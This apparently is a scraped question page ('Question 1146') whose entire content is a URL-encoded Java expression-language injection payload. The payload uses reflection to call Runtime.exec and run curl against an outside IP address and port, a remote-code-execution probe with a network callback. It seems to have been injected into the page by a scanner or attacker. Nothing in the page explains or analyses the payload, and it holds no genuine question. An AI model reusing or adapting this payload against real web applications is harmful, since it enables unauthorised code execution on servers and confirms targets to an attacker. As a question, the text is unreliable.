问题1146: %24%7B%27%27.getClass%28%29.forName%28%27java.lang.Runtime%2

%24%7B%27%27.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27exec%27%2C%27%27.getClass%28%29%29.invoke%28%27%27.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%29.invoke%28null%29%2C%27curl+http://218.94.59.245:12345/i/2b1bcd/fnrg/gt7x/%27%29%7D